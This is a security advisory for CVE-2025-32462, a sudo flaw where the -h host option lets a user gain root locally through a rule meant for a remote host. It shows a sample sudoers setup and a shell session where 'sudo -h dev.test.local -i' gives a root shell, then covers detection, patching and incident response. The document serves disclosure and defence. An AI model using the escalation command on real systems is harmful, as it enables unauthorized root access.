Sudo 1.9.17 Host Option - Elevation of Privilege

Sudo 1.9.17 "Host" Option Vulnerability — CVE-2025-32462

Summary

CVE-2025-32462 is an elevation-of-privilege vulnerability in sudo (stable 1.9.0–1.9.17 and legacy 1.8.8–1.8.32). When the command-line host option (-h) is used, sudo may validate and apply a remote-host rule from /etc/sudoers (or included files) for the local system. In short, a user who is forbidden from running sudo locally can specify a different host name on the sudo command line and gain the permissions allowed for that remote host — including full root access.

Why this matters

Sudo is the primary privilege-elevation mechanism on most Unix-like systems. This bug lets an unprivileged account that has a host-scoped rule granting elevated privileges on some remote host(s) abuse that rule locally. The result can be immediate root shells and full system compromise without authentication or exploitation of additional vulnerabilities.

Technical root cause (high level)

Sudo's host matching logic was intended to allow administrators to express which users can run which commands on which hostnames (Host_Alias and host fields in sudoers). A flaw in option parsing/validation allowed the command-line "host" override (-h) to be treated the same as the local host during policy evaluation for command execution, even though it should only influence listing privileges. The policy engine consequently matched rules intended for a remote host against the local machine when the attacker supplied that remote host via -h.

Reproduced example (conceptual)

The following example demonstrates the configuration and the behavior that leads to a privilege escalation. This example is intentionally conceptual and mirrors the public advisory.

# /etc/sudoers (relevant lines)
Host_Alias SERVERS = prod.test.local, dev.test.local
Host_Alias PROD = prod.test.local
lowpriv SERVERS, !PROD = NOPASSWD: ALL
lowpriv ci.test.local = NOPASSWD: ALL

Explanation:

• Two Host_Alias values are defined: SERVERS (prod + dev) and PROD (prod).
• User "lowpriv" is allowed to run all commands without a password on SERVERS except PROD — effectively allowed on dev.test.local but explicitly denied on prod.test.local.
• lowpriv is also allowed on ci.test.local.

# Show that lowpriv cannot run sudo on prod
lowpriv@prod:~$ sudo -l
[sudo] password for lowpriv:
Sorry, user lowpriv may not run sudo on prod.

Explanation: This shows the account is not permitted to run sudo on prod.test.local (the local host).

# List privileges that would apply for dev.test.local
lowpriv@prod:~$ sudo -l -h dev.test.local
Matching Defaults entries for lowpriv on dev:
 env_reset, mail_badpass, secure_path=... , use_pty

User lowpriv may run the following commands on dev:
 (root) NOPASSWD: ALL

Explanation: Listing privileges for a remote host (dev.test.local) correctly shows that lowpriv has NOPASSWD ALL on that remote host.

# Abuse the host option to get a root shell locally
lowpriv@prod:~$ sudo -h dev.test.local -i
sudo: a remote host may only be specified when listing privileges.
root@prod:~# id
uid=0(root) gid=0(root) groups=0(root)

Explanation: Despite the advisory message, sudo returned an interactive root shell on the local machine because the remote-host rule (dev.test.local) was treated as valid for prod.test.local when executing the command.

Affected versions and fix

Range	Notes
Stable 1.9.0 – 1.9.17	Vulnerable
Legacy 1.8.8 – 1.8.32	Vulnerable
Fixed in	1.9.17p1 (and corresponding patched legacy releases)

CVE: CVE-2025-32462. Vendor advisory: https://www.sudo.ws/security/advisories/host_any

Impact and risk assessment

• Immediate local privilege escalation: any account allowed on a remote host by sudoers rules can become root locally by specifying that host with -h.
• Likely high severity in multi-host environments where administrators used host-based sudo rules (Host_Alias) and NOPASSWD entries.
• Risk increases with broad NOPASSWD rules and reuse of hostnames or host aliases across environments (dev/ci/prod).

Detection and forensic guidance

Detecting abuse of this vulnerability involves searching for anomalous sudo usage, unexpected root shells, and sudoers configurations that expose host-scoped privileges.

# Check installed sudo version
sudo --version

Explanation: This prints the installed sudo version; compare it to the vulnerable ranges. If is <= 1.9.17 and not patched (p1), treat the system as vulnerable until patched.

# Find Host_Alias and host entries in sudoers files
grep -R --line-number "Host_Alias\|^[^#].*=.*" /etc/sudoers /etc/sudoers.d/ || true

Explanation: Search the main sudoers and any included files for Host_Alias definitions and host-specific rules. Look for NOPASSWD entries that apply to host aliases — these are high-risk.

# Search auth logs for suspicious 'sudo -h' usage or interactive sudo starts
# Debian/Ubuntu
sudo zgrep -i "sudo" /var/log/auth.log* | grep -E "\-h|interactive|shell" || true

# systemd journal
sudo journalctl -u sudo.service --since "7 days ago" | grep -i "\-h\|interactive\|shell" || true

Explanation: Look for occurrences of the -h option in logs, or messages indicating interactive shells handed off to root. Log formats vary; tailor searches to your distro and logging configuration.

# List running processes owned by root started recently
ps -eo pid,etime,user,cmd --sort=-etime | head -n 50

Explanation: Scan for recently-started root shells or interactive commands that might indicate privilege abuse.

Mitigation and remediation

The single corrective action is to apply the official sudo patch or upgrade to the patched releases. If you cannot patch immediately, apply compensating controls described below.

• Patch/updating (recommended)

  Upgrade sudo to a patched release (1.9.17p1 or later, or the corresponding legacy patch). Use your distribution packages when available.

  # Debian/Ubuntu
  sudo apt update && sudo apt install --only-upgrade sudo
  
  # RHEL/CentOS/Fedora (dnf)
  sudo dnf update sudo
  
  # SUSE
  sudo zypper patch sudo
  
  # macOS (Homebrew)
  brew upgrade sudo
  

  Explanation: These package manager commands update the sudo package to the latest available package in the configured repositories. On systems without vendor packages, obtain and build the patched source from the vendor and install per instructions.

• Temporary mitigations if immediate patching is impossible
  • Audit /etc/sudoers and files under /etc/sudoers.d for Host_Alias and host-scoped rules. Remove or tighten any host aliases that give NOPASSWD ALL or broad command scopes.
  • Eliminate or restrict NOPASSWD usage where practical; require passwords for high-privilege commands.
  • Restrict access to sudo binary using OS-level access control (file permissions) only if feasible — e.g., limit which users/groups can execute sudo. This is disruptive but may be used as a short-term barrier.
  • Harden logging and monitoring: increase logging retention and alert on any usage of "sudo -h", unexpected root sessions, and any interactive root shells.

  Explanation: These controls reduce the attack surface and make exploitation harder or more detectable. They can be applied quickly but may affect legitimate workflows.

Recommended hardening and long-term controls

• Prefer least-privilege sudo rules rather than host-names that span environments. Avoid overly broad Host_Alias entries that mix production and non-production hosts.
• Avoid unneeded NOPASSWD rules — require authentication where operationally acceptable.
• Use centralized configuration management and review processes for sudoers changes (commits, code review, testing).
• Implement strong endpoint detection and response (EDR) controls that can alert on privilege escalations and post-compromise activity.
• Consider mandatory access controls (SELinux/AppArmor) to constrain what compromised root shells can do until full remediation.

Incident response checklist (if you believe the vulnerability was used)

• Isolate affected systems from the network if compromise is confirmed or suspected.
• Collect volatile artifacts (process lists, open network sockets, memory captures) and persistent logs (auth logs, sudo logs, syslog, journald) for analysis.
• Search for indicators of compromise: unexpected user accounts, new SSH keys, cron jobs, systemd services, or files with suspicious timestamps.
• Assume a complete root compromise: consider rebuilding from known-good images and rotate all credentials and secrets that were on the compromised hosts.
• After patching, validate integrity (checksums, package verification) and restore carefully from backups or reinstallation.

References

• Vendor advisory: https://www.sudo.ws/security/advisories/host_any
• Public analysis: Stratascale blog (CVE-2025-32462)
• CVE: CVE-2025-32462